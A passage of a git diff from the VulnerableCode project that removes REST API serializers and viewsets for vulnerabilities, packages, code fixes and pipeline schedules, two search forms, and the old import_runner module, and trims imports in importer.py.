VulnerabilityV2Serializer(serializers.ModelSerializer): - aliases = serializers.SerializerMethodField() - weaknesses = WeaknessV2Serializer(many=True) - references = VulnerabilityReferenceV2Serializer(many=True, source="vulnerabilityreference_set") - severities = VulnerabilitySeverityV2Serializer(many=True) - exploitability = serializers.FloatField(read_only=True) - weighted_severity = serializers.FloatField(read_only=True) - risk_score = serializers.FloatField(read_only=True) - - class Meta: - model = Vulnerability - fields = [ - "vulnerability_id", - "aliases", - "summary", - "severities", - "weaknesses", - "references", - "exploitability", - "weighted_severity", - "risk_score", - ] - - def get_aliases(self, obj): - return [alias.alias for alias in obj.aliases.all()] - - -class VulnerabilityListSerializer(serializers.ModelSerializer): - url = serializers.SerializerMethodField() - - class Meta: - model = Vulnerability - fields = ["vulnerability_id", "url"] - - def get_url(self, obj): - request = self.context.get("request") - return reverse( - "vulnerability-v2-detail", - kwargs={"vulnerability_id": obj.vulnerability_id}, - request=request, - ) - - -@extend_schema_view( - list=extend_schema( - parameters=[ - OpenApiParameter( - name="vulnerability_id", - description="Filter by one or more vulnerability IDs", - required=False, - type={"type": "array", "items": {"type": "string"}}, - location=OpenApiParameter.QUERY, - ), - OpenApiParameter( - name="alias", - description="Filter by alias (CVE or other unique identifier)", - required=False, - type={"type": "array", "items": {"type": "string"}}, - location=OpenApiParameter.QUERY, - ), - ] - ) -) -class VulnerabilityV2ViewSet(viewsets.ReadOnlyModelViewSet): - queryset = Vulnerability.objects.all() - serializer_class = VulnerabilityV2Serializer - lookup_field = "vulnerability_id" - throttle_classes = [AnonRateThrottle, PermissionBasedUserRateThrottle] - - def get_queryset(self): - queryset = super().get_queryset() - vulnerability_ids = self.request.query_params.getlist("vulnerability_id") - aliases = self.request.query_params.getlist("alias") - - if vulnerability_ids: - queryset = queryset.filter(vulnerability_id__in=vulnerability_ids) - - if aliases: - queryset = queryset.filter(aliases__alias__in=aliases).distinct() - - return queryset - - def get_serializer_class(self): - if self.action == "list": - return VulnerabilityListSerializer - return super().get_serializer_class() - - def list(self, request, *args, **kwargs): - queryset = self.get_queryset() - vulnerability_ids = request.query_params.getlist("vulnerability_id") - - # If exactly one vulnerability_id is provided, return the serialized data - if len(vulnerability_ids) == 1: - try: - vulnerability = queryset.get(vulnerability_id=vulnerability_ids[0]) - serializer = self.get_serializer(vulnerability) - return Response(serializer.data) - except Vulnerability.DoesNotExist: - return Response({"detail": "Not found."}, status=404) - - # Otherwise, return a dictionary of vulnerabilities keyed by vulnerability_id - page = self.paginate_queryset(queryset) - if page is not None: - serializer = self.get_serializer(page, many=True) - data = serializer.data - vulnerabilities = {item["vulnerability_id"]: item for item in data} - return self.get_paginated_response({"vulnerabilities": vulnerabilities}) - - serializer = self.get_serializer(queryset, many=True) - data = serializer.data - vulnerabilities = {item["vulnerability_id"]: item for item in data} - return Response({"vulnerabilities": vulnerabilities}) - - -class PackageV2Serializer(serializers.ModelSerializer): - purl = serializers.CharField(source="package_url") - risk_score = serializers.FloatField(read_only=True) - affected_by_vulnerabilities = serializers.SerializerMethodField() - fixing_vulnerabilities = serializers.SerializerMethodField() - next_non_vulnerable_version = serializers.CharField(read_only=True) - latest_non_vulnerable_version = serializers.CharField(read_only=True) - - class Meta: - model = Package - fields = [ - "purl", - "affected_by_vulnerabilities", - "fixing_vulnerabilities", - "next_non_vulnerable_version", - "latest_non_vulnerable_version", - "risk_score", - ] - - def get_affected_by_vulnerabilities(self, obj): - """ - Return a dictionary with vulnerabilities as keys and their details, including fixed_by_packages. - """ - result = {} - request = self.context.get("request") - for vuln in getattr(obj, "prefetched_affected_vulnerabilities", []): - fixed_by_package = vuln.fixed_by_packages.first() - purl = None - if fixed_by_package: - purl = fixed_by_package.package_url - # Get code fixed for a vulnerability - code_fixes = CodeFix.objects.filter( - affected_package_vulnerability__vulnerability=vuln - ).distinct() - code_fix_urls = [ - reverse("codefix-detail", args=[code_fix.id], request=request) - for code_fix in code_fixes - ] - - result[vuln.vulnerability_id] = { - "vulnerability_id": vuln.vulnerability_id, - "fixed_by_packages": purl, - "code_fixes": code_fix_urls, - } - return result - - def get_fixing_vulnerabilities(self, obj): - # Ghost package should not fix any vulnerability. - if obj.is_ghost: - return [] - return [vuln.vulnerability_id for vuln in obj.fixing_vulnerabilities.all()] - - -class PackageurlListSerializer(serializers.Serializer): - purls = serializers.ListField( - child=serializers.CharField(), - allow_empty=False, - help_text="List of PackageURL strings in canonical form.", - ) - - -class PackageBulkSearchRequestSerializer(PackageurlListSerializer): - purl_only = serializers.BooleanField(required=False, default=False) - plain_purl = serializers.BooleanField(required=False, default=False) - - -class LookupRequestSerializer(serializers.Serializer): - purl = serializers.CharField( - required=True, - help_text="PackageURL strings in canonical form.", - ) - - -class PackageV2FilterSet(filters.FilterSet): - affected_by_vulnerability = filters.CharFilter( - field_name="affected_by_vulnerabilities__vulnerability_id" - ) - fixing_vulnerability = filters.CharFilter(field_name="fixing_vulnerabilities__vulnerability_id") - purl = filters.CharFilter(field_name="package_url") - - -class PackageV2ViewSet(viewsets.ReadOnlyModelViewSet): - queryset = Package.objects.all().prefetch_related( - Prefetch( - "affected_by_vulnerabilities", - queryset=Vulnerability.objects.prefetch_related("fixed_by_packages"), - to_attr="prefetched_affected_vulnerabilities", - ) - ) - serializer_class = PackageV2Serializer - filter_backends = (filters.DjangoFilterBackend,) - filterset_class = PackageV2FilterSet - throttle_classes = [AnonRateThrottle, PermissionBasedUserRateThrottle] - - def get_queryset(self): - queryset = super().get_queryset() - package_purls = self.request.query_params.getlist("purl") - affected_by_vulnerability = self.request.query_params.get("affected_by_vulnerability") - fixing_vulnerability = self.request.query_params.get("fixing_vulnerability") - - if package_purls: - queryset = queryset.filter(package_url__in=package_purls) - if affected_by_vulnerability: - queryset = queryset.filter( - affected_by_vulnerabilities__vulnerability_id=affected_by_vulnerability - ) - if fixing_vulnerability: - queryset = queryset.filter( - fixing_vulnerabilities__vulnerability_id=fixing_vulnerability - ) - return queryset.with_is_vulnerable() - - def list(self, request, *args, **kwargs): - queryset = self.get_queryset() - - # Apply pagination - page = self.paginate_queryset(queryset) - if page is not None: - # Collect only vulnerabilities for packages in the current page - vulnerabilities = set() - for package in page: - vulnerabilities.update(package.affected_by_vulnerabilities.all()) - vulnerabilities.update(package.fixing_vulnerabilities.all()) - - # Serialize the vulnerabilities with vulnerability_id as keys - vulnerability_data = { - vuln.vulnerability_id: VulnerabilityV2Serializer(vuln).data - for vuln in vulnerabilities - } - - # Serialize the current page of packages - serializer = self.get_serializer(page, many=True) - data = serializer.data - - # Use 'self.get_paginated_response' to include pagination data - return self.get_paginated_response( - {"vulnerabilities": vulnerability_data, "packages": data} - ) - - # If pagination is not applied, collect vulnerabilities for all packages - vulnerabilities = set() - for package in queryset: - vulnerabilities.update(package.affected_by_vulnerabilities.all()) - vulnerabilities.update(package.fixing_vulnerabilities.all()) - - vulnerability_data = { - vuln.vulnerability_id: VulnerabilityV2Serializer(vuln).data for vuln in vulnerabilities - } - - # Serialize all packages when pagination is not applied - serializer = self.get_serializer(queryset, many=True) - data = serializer.data - return Response({"vulnerabilities": vulnerability_data, "packages": data}) - - @extend_schema( - request=PackageurlListSerializer, - responses={200: PackageV2Serializer(many=True)}, - ) - @action( - detail=False, - methods=["post"], - serializer_class=PackageurlListSerializer, - filter_backends=[], - pagination_class=None, - ) - def bulk_lookup(self, request): - """ - Return the response for exact PackageURLs requested for. - """ - serializer = self.serializer_class(data=request.data) - if not serializer.is_valid(): - return Response( - status=status.HTTP_400_BAD_REQUEST, - data={ - "error": serializer.errors, - "message": "A non-empty 'purls' list of PURLs is required.", - }, - ) - validated_data = serializer.validated_data - purls = validated_data.get("purls") - - # Fetch packages matching the provided purls - packages = Package.objects.for_purls(purls).with_is_vulnerable() - - # Collect vulnerabilities associated with these packages - vulnerabilities = set() - for package in packages: - vulnerabilities.update(package.affected_by_vulnerabilities.all()) - vulnerabilities.update(package.fixing_vulnerabilities.all()) - - # Serialize vulnerabilities with vulnerability_id as keys - vulnerability_data = { - vuln.vulnerability_id: VulnerabilityV2Serializer(vuln).data for vuln in vulnerabilities - } - - # Serialize packages - package_data = PackageV2Serializer( - packages, - many=True, - context={"request": request}, - ).data - - return Response( - { - "vulnerabilities": vulnerability_data, - "packages": package_data, - } - ) - - @extend_schema( - request=PackageBulkSearchRequestSerializer, - responses={200: PackageV2Serializer(many=True)}, - ) - @action( - detail=False, - methods=["post"], - serializer_class=PackageBulkSearchRequestSerializer, - filter_backends=[], - pagination_class=None, - ) - def bulk_search(self, request): - """ - Lookup for vulnerable packages using many Package URLs at once. - """ - serializer = self.serializer_class(data=request.data) - if not serializer.is_valid(): - return Response( - status=status.HTTP_400_BAD_REQUEST, - data={ - "error": serializer.errors, - "message": "A non-empty 'purls' list of PURLs is required.", - }, - ) - validated_data = serializer.validated_data - purls = validated_data.get("purls") - purl_only = validated_data.get("purl_only", False) - plain_purl = validated_data.get("plain_purl", False) - - if plain_purl: - purl_objects = [PackageURL.from_string(purl) for purl in purls] - plain_purl_objects = [ - PackageURL( - type=purl.type, - namespace=purl.namespace, - name=purl.name, - version=purl.version, - ) - for purl in purl_objects - ] - plain_purls = [str(purl) for purl in plain_purl_objects] - - query = ( - Package.objects.filter(plain_package_url__in=plain_purls) - .order_by("plain_package_url") - .distinct("plain_package_url") - .with_is_vulnerable() - ) - - packages = query - - # Collect vulnerabilities associated with these packages - vulnerabilities = set() - for package in packages: - vulnerabilities.update(package.affected_by_vulnerabilities.all()) - vulnerabilities.update(package.fixing_vulnerabilities.all()) - - vulnerability_data = { - vuln.vulnerability_id: VulnerabilityV2Serializer(vuln).data - for vuln in vulnerabilities - } - - if not purl_only: - package_data = PackageV2Serializer( - packages, many=True, context={"request": request} - ).data - return Response( - { - "vulnerabilities": vulnerability_data, - "packages": package_data, - } - ) - - # Using order by and distinct because there will be - # many fully qualified purl for a single plain purl - vulnerable_purls = query.vulnerable().only("plain_package_url") - vulnerable_purls = [str(package.plain_package_url) for package in vulnerable_purls] - return Response(data=vulnerable_purls) - - query = Package.objects.filter(package_url__in=purls).distinct().with_is_vulnerable() - packages = query - - # Collect vulnerabilities associated with these packages - vulnerabilities = set() - for package in packages: - vulnerabilities.update(package.affected_by_vulnerabilities.all()) - vulnerabilities.update(package.fixing_vulnerabilities.all()) - - vulnerability_data = { - vuln.vulnerability_id: VulnerabilityV2Serializer(vuln).data for vuln in vulnerabilities - } - - if not purl_only: - package_data = PackageV2Serializer( - packages, many=True, context={"request": request} - ).data - return Response( - { - "vulnerabilities": vulnerability_data, - "packages": package_data, - } - ) - - vulnerable_purls = query.vulnerable().only("package_url") - vulnerable_purls = [str(package.package_url) for package in vulnerable_purls] - return Response(data=vulnerable_purls) - - @action(detail=False, methods=["get"]) - def all(self, request): - """ - Return a list of Package URLs of vulnerable packages. - """ - vulnerable_purls = ( - Package.objects.vulnerable() - .only("package_url") - .order_by("package_url") - .distinct() - .values_list("package_url", flat=True) - ) - return Response(vulnerable_purls) - - @extend_schema( - request=LookupRequestSerializer, - responses={200: PackageV2Serializer(many=True)}, - ) - @action( - detail=False, - methods=["post"], - serializer_class=LookupRequestSerializer, - filter_backends=[], - pagination_class=None, - ) - def lookup(self, request): - """ - Return the response for exact PackageURL requested for. - """ - serializer = self.serializer_class(data=request.data) - if not serializer.is_valid(): - return Response( - status=status.HTTP_400_BAD_REQUEST, - data={ - "error": serializer.errors, - "message": "A 'purl' is required.", - }, - ) - validated_data = serializer.validated_data - purl = validated_data.get("purl") - - qs = self.get_queryset().for_purls([purl]).with_is_vulnerable() - return Response(PackageV2Serializer(qs, many=True, context={"request": request}).data) - - -class CodeFixSerializer(serializers.ModelSerializer): - """ - Serializer for the CodeFix model. - Provides detailed information about a code fix. - """ - - affected_vulnerability_id = serializers.CharField( - source="affected_package_vulnerability.vulnerability.vulnerability_id", - read_only=True, - help_text="ID of the affected vulnerability.", - ) - affected_package_purl = serializers.CharField( - source="affected_package_vulnerability.package.package_url", - read_only=True, - help_text="PURL of the affected package.", - ) - fixed_package_purl = serializers.CharField( - source="fixed_package_vulnerability.package.package_url", - read_only=True, - help_text="PURL of the fixing package (if available).", - ) - created_at = serializers.DateTimeField( - format="%Y-%m-%dT%H:%M:%SZ", - read_only=True, - help_text="Timestamp when the code fix was created.", - ) - updated_at = serializers.DateTimeField( - format="%Y-%m-%dT%H:%M:%SZ", - read_only=True, - help_text="Timestamp when the code fix was last updated.", - ) - - class Meta: - model = CodeFix - fields = [ - "id", - "commits", - "pulls", - "downloads", - "patch", - "affected_vulnerability_id", - "affected_package_purl", - "fixed_package_purl", - "notes", - "references", - "is_reviewed", - "created_at", - "updated_at", - ] - read_only_fields = ["created_at", "updated_at"] - - -class CodeFixV2Serializer(serializers.ModelSerializer): - """ - Serializer for the CodeFix model. - Provides detailed information about a code fix. - """ - - affected_advisory_id = serializers.CharField( - source="advisory.avid", - read_only=True, - help_text="ID of the advisory affecting the package.", - ) - affected_package_purl = serializers.CharField( - source="affected_package.package_url", - read_only=True, - help_text="PURL of the affected package.", - ) - fixed_package_purl = serializers.CharField( - source="fixed_package.package_url", - read_only=True, - help_text="PURL of the fixing package (if available).", - ) - created_at = serializers.DateTimeField( - format="%Y-%m-%dT%H:%M:%SZ", - read_only=True, - help_text="Timestamp when the code fix was created.", - ) - updated_at = serializers.DateTimeField( - format="%Y-%m-%dT%H:%M:%SZ", - read_only=True, - help_text="Timestamp when the code fix was last updated.", - ) - - class Meta: - model = CodeFixV2 - fields = [ - "id", - "commits", - "pulls", - "downloads", - "patch", - "affected_advisory_id", - "affected_package_purl", - "fixed_package_purl", - "notes", - "references", - "is_reviewed", - "created_at", - "updated_at", - ] - read_only_fields = ["created_at", "updated_at"] - - -class CodeFixViewSet(viewsets.ReadOnlyModelViewSet): - """ - API endpoint that allows viewing CodeFix entries. - """ - - queryset = CodeFix.objects.all() - serializer_class = CodeFixSerializer - throttle_classes = [AnonRateThrottle, PermissionBasedUserRateThrottle] - - def get_queryset(self): - """ - Optionally filter by vulnerability ID. - """ - queryset = super().get_queryset() - vulnerability_id = self.request.query_params.get("vulnerability_id") - if vulnerability_id: - queryset = queryset.filter( - affected_package_vulnerability__vulnerability__vulnerability_id=vulnerability_id - ) - return queryset - - -class CodeFixV2ViewSet(viewsets.ReadOnlyModelViewSet): - """ - API endpoint that allows viewing CodeFix entries. - """ - - queryset = CodeFixV2.objects.all() - serializer_class = CodeFixV2Serializer - - def get_queryset(self): - """ - Optionally filter by vulnerability ID. - """ - queryset = super().get_queryset() - advisory_id = self.request.query_params.get("advisory_id") - if advisory_id: - queryset = queryset.filter(advisory__avid=advisory_id) - return queryset - - -class CreateListRetrieveUpdateViewSet( - mixins.CreateModelMixin, - mixins.ListModelMixin, - mixins.RetrieveModelMixin, - mixins.UpdateModelMixin, - viewsets.GenericViewSet, -): - """ - A viewset that provides `create`, `list, `retrieve`, and `update` actions. - To use it, override the class and set the `.queryset` and - `.serializer_class` attributes. - """ - - pass - - -class IsAdminWithSessionAuth(BasePermission): - """Permit only staff users authenticated via session (not token).""" - - def has_permission(self, request, view): - is_authenticated = request.user and request.user.is_authenticated - is_staff = request.user and request.user.is_staff - is_session_auth = isinstance(request.successful_authenticator, SessionAuthentication) - - return is_authenticated and is_staff and is_session_auth - - -class PipelineRunAPISerializer(serializers.HyperlinkedModelSerializer): - status = serializers.SerializerMethodField() - runtime = serializers.SerializerMethodField() - log = serializers.SerializerMethodField() - - class Meta: - model = PipelineRun - fields = [ - "run_id", - "status", - "runtime", - "run_start_date", - "run_end_date", - "run_exitcode", - "run_output", - "created_date", - "vulnerablecode_version", - "vulnerablecode_commit", - "log", - ] - - def get_status(self, run): - return run.status - - def get_runtime(self, run): - if run.runtime: - return f"{round(run.runtime, 2)}s" - - def get_log(self, run): - """Return only last 5000 character of log.""" - return run.log[-5000:] - - -class PipelineScheduleAPISerializer(serializers.HyperlinkedModelSerializer): - url = serializers.HyperlinkedIdentityField( - view_name="pipelines-detail", - lookup_field="pipeline_id", - ) - latest_run = serializers.SerializerMethodField() - next_run_date = serializers.SerializerMethodField() - - class Meta: - model = PipelineSchedule - fields = [ - "url", - "pipeline_id", - "is_active", - "live_logging", - "run_interval", - "execution_timeout", - "created_date", - "schedule_work_id", - "next_run_date", - "latest_run", - ] - - def get_next_run_date(self, schedule): - return schedule.next_run_date - - def get_latest_run(self, schedule): - if latest := schedule.pipelineruns.first(): - return PipelineRunAPISerializer(latest).data - return None - - def to_representation(self, schedule): - representation = super().to_representation(schedule) - representation["run_interval"] = f"{schedule.run_interval}min" - representation["execution_timeout"] = f"{schedule.execution_timeout}hr" - return representation - - -class PipelineScheduleCreateSerializer(serializers.ModelSerializer): - class Meta: - model = PipelineSchedule - fields = [ - "pipeline_id", - "is_active", - "run_interval", - "live_logging", - "execution_timeout", - ] - extra_kwargs = { - field: {"initial": PipelineSchedule._meta.get_field(field).get_default()} - for field in [ - "is_active", - "run_interval", - "live_logging", - "execution_timeout", - ] - } - - -class PipelineScheduleUpdateSerializer(serializers.ModelSerializer): - class Meta: - model = PipelineSchedule - fields = [ - "is_active", - "run_interval", - "live_logging", - "execution_timeout", - ] - - -class PipelineScheduleV2ViewSet(CreateListRetrieveUpdateViewSet): - queryset = PipelineSchedule.objects.prefetch_related("pipelineruns").all() - serializer_class = PipelineScheduleAPISerializer - lookup_field = "pipeline_id" - lookup_value_regex = r"[\w.]+" - throttle_classes = [AnonRateThrottle, PermissionBasedUserRateThrottle] - - def get_serializer_class(self): - if self.action == "create": - return PipelineScheduleCreateSerializer - elif self.action == "update": - return PipelineScheduleUpdateSerializer - return super().get_serializer_class() - - def get_permissions(self): - """Restrict addition and modifications to staff users authenticated via session.""" - if self.action not in ["list", "retrieve"]: - return [IsAdminWithSessionAuth()] - return super().get_permissions() - - def get_view_name(self): - if self.detail: - return "Pipeline Instance" - return "Pipeline Jobs" diff --git a/vulnerabilities/forms.py b/vulnerabilities/forms.py index b8fc5bdd1..3d3c13157 100644 --- a/vulnerabilities/forms.py +++ b/vulnerabilities/forms.py @@ -26,24 +26,6 @@ class PackageSearchForm(forms.Form): ) -class VulnerabilitySearchForm(forms.Form): - - search = forms.CharField( - required=True, - widget=forms.TextInput( - attrs={"placeholder": "Vulnerability id or alias such as CVE or GHSA"} - ), - ) - - -class AdvisorySearchForm(forms.Form): - - search = forms.CharField( - required=True, - widget=forms.TextInput(attrs={"placeholder": "Advisory id or alias such as CVE or GHSA"}), - ) - - class ApiUserCreationForm(forms.ModelForm): """Support a simplified creation for API-only users directly from the UI.""" diff --git a/vulnerabilities/import_runner.py b/vulnerabilities/import_runner.py deleted file mode 100644 index 5bcf5f461..000000000 --- a/vulnerabilities/import_runner.py +++ /dev/null @@ -1,377 +0,0 @@ -# -# Copyright (c) nexB Inc. and others. All rights reserved. -# VulnerableCode is a trademark of nexB Inc. -# SPDX-License-Identifier: Apache-2.0 -# See http://www.apache.org/licenses/LICENSE-2.0 for the license text. -# See https://github.com/aboutcode-org/vulnerablecode for support or download. -# See https://aboutcode.org for more information about nexB OSS projects. -# - -import datetime -import logging -from traceback import format_exc as traceback_format_exc -from typing import Iterable -from typing import List - -from django.core.exceptions import ValidationError -from django.db import transaction -from django.db.models.query import QuerySet - -from vulnerabilities.importer import AdvisoryData -from vulnerabilities.importer import Importer -from vulnerabilities.improver import Inference -from vulnerabilities.improvers.default import DefaultImporter -from vulnerabilities.models import Advisory -from vulnerabilities.models import AffectedByPackageRelatedVulnerability -from vulnerabilities.models import Alias -from vulnerabilities.models import FixingPackageRelatedVulnerability -from vulnerabilities.models import Package -from vulnerabilities.models import Vulnerability -from vulnerabilities.models import VulnerabilityChangeLog -from vulnerabilities.models import VulnerabilityReference -from vulnerabilities.models import VulnerabilityRelatedReference -from vulnerabilities.models import VulnerabilitySeverity -from vulnerabilities.models import Weakness -from vulnerabilities.utils import get_importer_name - -logger = logging.getLogger(__name__) - - -class ImportRunner: - """ - The ImportRunner is responsible for inserting and updating data about vulnerabilities and - affected/unaffected/fixed packages in the database. The main goal for the implementation - is correctness - - Correctness: - - There must be no duplicates in the database (should be enforced by the schema). - - No valid data from the data source must be skipped or truncated. - """ - - def __init__(self, importer_class: Importer): - self.importer_class = importer_class - - def run(self) -> None: - """ - Create a data source for the given importer and store the data retrieved in the database. - """ - importer_name = self.importer_class.qualified_name - importer_class = self.importer_class - logger.info(f"Starting import for {importer_name}") - advisory_datas = importer_class().advisory_data() - count = self.process_advisories(advisory_datas=advisory_datas, importer_name=importer_name) - logger.info(f"Finished import for {importer_name}. Imported {count} advisories.") - - def do_import(self, advisories) -> None: - advisory_importer = DefaultImporter(advisories=advisories) - logger.info(f"Running importer: {advisory_importer.qualified_name}") - importer_name = advisory_importer.qualified_name - advisories = [] - for advisory in advisory_importer.interesting_advisories: - if advisory.date_imported: - continue - logger.info(f"Processing advisory: {advisory!r}") - advisory_data = None - inferences = None - try: - advisory_data = advisory.to_advisory_data() - inferences = advisory_importer.get_inferences(advisory_data=advisory_data) - process_inferences( - inferences=inferences, - advisory=advisory, - improver_name=importer_name, - ) - except Exception: - from pprint import pformat - - logger.warning( - f"Failed to process advisory:\n{pformat(advisory_data.to_dict())}\n\n" - f"with error:\n{traceback_format_exc()}\n\n" - ) - logger.info("Finished importing using %s.", advisory_importer.__class__.qualified_name) - - def process_advisories( - self, advisory_datas: Iterable[AdvisoryData], importer_name: str - ) -> List: - """ - Insert advisories into the database - Return the number of inserted advisories. - """ - from vulnerabilities.pipes.advisory import get_or_create_aliases - from vulnerabilities.utils import compute_content_id - - count = 0 - advisories = [] - for data in advisory_datas: - content_id = compute_content_id(advisory_data=data) - advisory = { - "summary": data.summary, - "affected_packages": [pkg.to_dict() for pkg in data.affected_packages], - "references": [ref.to_dict() for ref in data.references], - "date_published": data.date_published, - "weaknesses": data.weaknesses, - "created_by": importer_name, - "date_collected": datetime.datetime.now(tz=datetime.timezone.utc), - } - try: - aliases = get_or_create_aliases(aliases=data.aliases) - obj, created = Advisory.objects.get_or_create( - unique_content_id=content_id, - url=data.url, - defaults=advisory, - ) - obj.aliases.add(*aliases) - if not obj.date_imported: - advisories.append(obj) - except Advisory.MultipleObjectsReturned: - logger.error( - f"Multiple Advisories returned: unique_content_id: {content_id}, url: {data.url}, advisory: {advisory!r}" - ) - raise - except Exception as e: - logger.error( - f"Error while processing {data!r} with aliases {data.aliases!r}: {e!r} \n {traceback_format_exc()}" - ) - continue - if created: - logger.info( - f"[*] New Advisory with aliases: {obj.aliases!r}, created_by: {obj.created_by}" - ) - count += 1 - else: - logger.debug(f"Advisory with aliases: {obj.aliases!r} already exists.") - try: - self.do_import(advisories) - except Exception as e: - logger.error( - f"Error while processing advisories from {importer_name!r}: {e!r} \n {traceback_format_exc()}" - ) - return count - - -@transaction.atomic -def process_inferences(inferences: List[Inference], advisory: Advisory, improver_name: str): - """ - Return number of inferences processed. - An atomic transaction that updates both the Advisory (e.g. date_imported) - and processes the given inferences to create or update corresponding - database fields. - - This avoids failing the entire improver when only a single inference is - erroneous. Also, the atomic transaction for every advisory and its - inferences makes sure that date_imported of advisory is consistent. - """ - from vulnerabilities.pipes.advisory import get_or_create_aliases - - inferences_processed_count = 0 - - if not inferences: - logger.warning(f"Nothing to improve. Source: {improver_name} Advisory id: {advisory.id}") - return inferences_processed_count - - logger.info(f"Improving advisory id: {advisory.id}") - - for inference in inferences: - aliases = get_or_create_aliases(inference.aliases) - vulnerability = get_or_create_vulnerability_and_aliases( - vulnerability_id=inference.vulnerability_id, - aliases=aliases, - summary=inference.summary, - advisory=advisory, - ) - - if not vulnerability: - logger.warning(f"Unable to get vulnerability for inference: {inference!r}") - continue - - for ref in inference.references: - - reference = VulnerabilityReference.objects.get_or_none( - reference_id=ref.reference_id, - url=ref.url, - ) - - if not reference: - reference = create_valid_vulnerability_reference( - reference_id=ref.reference_id, - url=ref.url, - ) - - if reference: - VulnerabilityRelatedReference.objects.update_or_create( - reference=reference, - vulnerability=vulnerability, - ) - updated = False - for severity in ref.severities: - try: - published_at = str(severity.published_at) if severity.published_at else None - ( - vulnerability_severity, - updated, - ) = VulnerabilitySeverity.objects.update_or_create( - scoring_system=severity.system.identifier, - url=ref.url, - value=severity.value, - scoring_elements=severity.scoring_elements, - defaults={ - "published_at": published_at, - }, - ) - vulnerability.severities.add(vulnerability_severity) - except: - logger.error( - f"Failed to create VulnerabilitySeverity for: {severity} with error:\n{traceback_format_exc()}" - ) - if updated: - logger.info( - f"Severity updated for reference {ref.url!r} to value: {severity.value!r} " - f"and scoring_elements: {severity.scoring_elements!r}" - ) - - for affected_purl in inference.affected_purls or []: - vulnerable_package, _ = Package.objects.get_or_create_from_purl(purl=affected_purl) - AffectedByPackageRelatedVulnerability( - vulnerability=vulnerability, - package=vulnerable_package, - created_by=improver_name, - confidence=inference.confidence, - ).update_or_create(advisory=advisory) - - if inference.fixed_purl: - fixed_package, _ = Package.objects.get_or_create_from_purl(purl=inference.fixed_purl) - FixingPackageRelatedVulnerability( - vulnerability=vulnerability, - package=fixed_package, - created_by=improver_name, - confidence=inference.confidence, - ).update_or_create(advisory=advisory) - - if inference.weaknesses and vulnerability: - for cwe_id in inference.weaknesses: - cwe_obj, created = Weakness.objects.get_or_create(cwe_id=cwe_id) - cwe_obj.vulnerabilities.add(vulnerability) - cwe_obj.save() - inferences_processed_count += 1 - - advisory.date_imported = datetime.datetime.now(tz=datetime.timezone.utc) - advisory.save() - return inferences_processed_count - - -def create_valid_vulnerability_reference(url, reference_id=None): - """ - Create and return a new validated VulnerabilityReference from a - ``url`` and ``reference_id``. - Return None and log a warning if this is not a valid reference. - """ - reference = VulnerabilityReference( - reference_id=reference_id, - url=url, - ) - - try: - reference.full_clean() - except ValidationError as e: - logger.warning(f"Invalid vulnerability reference: {reference!r}: {e}") - return - - reference.save() - return reference - - -def get_or_create_vulnerability_and_aliases( - aliases: QuerySet, vulnerability_id=None, summary=None, advisory=None -): - """ - Get or create vulnerabilitiy and aliases such that all existing and new - aliases point to the same vulnerability - """ - new_aliases, existing_vulns = get_vulns_for_aliases_and_get_new_aliases(aliases) - - # All aliases must point to the same vulnerability - vulnerability = None - if existing_vulns: - if len(existing_vulns) != 1: - vcids = ", ".join(v.vulnerability_id for v in existing_vulns) - logger.error( - f"Cannot create vulnerability. " - f"Aliases {aliases} already exist and point " - f"to multiple vulnerabilities {vcids}." - ) - return - else: - vulnerability = existing_vulns.pop() - - if vulnerability_id and vulnerability.vulnerability_id != vulnerability_id: - logger.error( - f"Cannot create vulnerability. " - f"Aliases {aliases} already exist and point to a different " - f"vulnerability {vulnerability} than the requested " - f"vulnerability {vulnerability_id}." - ) - return - - if vulnerability_id and not vulnerability: - try: - vulnerability = Vulnerability.objects.get(vulnerability_id=vulnerability_id) - except Vulnerability.DoesNotExist: - logger.error(f"Cannot get requested vulnerability {vulnerability_id}.") - return - if vulnerability: - # TODO: We should keep multiple summaries, one for each advisory - # if summary and summary != vulnerability.summary: - # logger.warning( - # f"Inconsistent summary for {vulnerability.vulnerability_id}. " - # f"Existing: {vulnerability.summary!r}, provided: {summary!r}" - # ) - associate_vulnerability_with_aliases(vulnerability=vulnerability, aliases=new_aliases) - else: - try: - vulnerability = create_vulnerability_and_add_aliases( - aliases=new_aliases, summary=summary - ) - importer_name = get_importer_name(advisory) - VulnerabilityChangeLog.log_import( - importer=importer_name, - source_url=advisory.url, - vulnerability=vulnerability, - ) - except Exception as e: - logger.error( - f"Cannot create vulnerability with summary {summary!r} and {new_aliases!r} {e!r}.\n{traceback_format_exc()}." - ) - return - - return vulnerability - - -def get_vulns_for_aliases_and_get_new_aliases(aliases: QuerySet): - """ - Return ``new_aliases`` that are not in the database and - ``existing_vulns`` that point to the given ``aliases``. - """ - new_aliases = aliases.filter(vulnerability__isnull=True) - existing_vulns = [alias.vulnerability for alias in aliases.filter(vulnerability__isnull=False)] - - return new_aliases, list(set(existing_vulns)) - - -@transaction.atomic -def create_vulnerability_and_add_aliases(aliases, summary): - """ - Return a new ``vulnerability`` created with ``summary`` - and associate the ``vulnerability`` with ``aliases``. - Raise exception if no alias is associated with the ``vulnerability``. - """ - vulnerability = Vulnerability(summary=summary) - vulnerability.save() - associate_vulnerability_with_aliases(aliases, vulnerability) - if not vulnerability.aliases.count(): - raise Exception(f"Vulnerability {vulnerability.vcid} must have one or more aliases") - return vulnerability - - -def associate_vulnerability_with_aliases(aliases, vulnerability): - aliases.update(vulnerability=vulnerability) - logger.info(f"New alias for {vulnerability!r}: {aliases}") diff --git a/vulnerabilities/importer.py b/vulnerabilities/importer.py index ab5a6f9a2..af22d60af 100644 --- a/vulnerabilities/importer.py +++ b/vulnerabilities/importer.py @@ -13,34 +13,19 @@ import logging import traceback import xml.etree.ElementTree as ET -from typing import Iterable from typing import List -from typing import Mapping from typing import Optional -from typing import Set -from typing import Tuple - -import pytz -from dateutil import parser as dateparser -from fetchcode.vcs import VCSResponse -from fetchcode.vcs import fetch_via_vcs -from license_expression import Licensing + from packageurl import PackageURL -from univers.version_range import RANGE_CLASS_BY_SCHEMES from univers.version_range import VersionRange -from univers.versions import Version -from vulnerabilities import severity_systems -from vulnerabilities.oval_parser import OvalParser from vulnerabilities.severity_systems import SCORING_SYSTEMS from vulnerabilities.severity_systems import ScoringSystem -from vulnerabilities.utils import classproperty from vulnerabilities.utils import compute_patch_checksum from vulnerabilities.utils import get_reference_id from vulnerabilities.utils import is_commit from vulnerabilities.utils import is_cve from vulnerabilities.utils import purl_to_dict -from vulnerabilities.utils import update_purl_version logger = logging.getLogger(__name__) @@ -101,59 +86,6 @@ def from_dict(cls, severity: dict): ) -@dataclasses.dataclass(eq=True) -@functools.total_ordering -class Reference: - reference_id: str = "" - 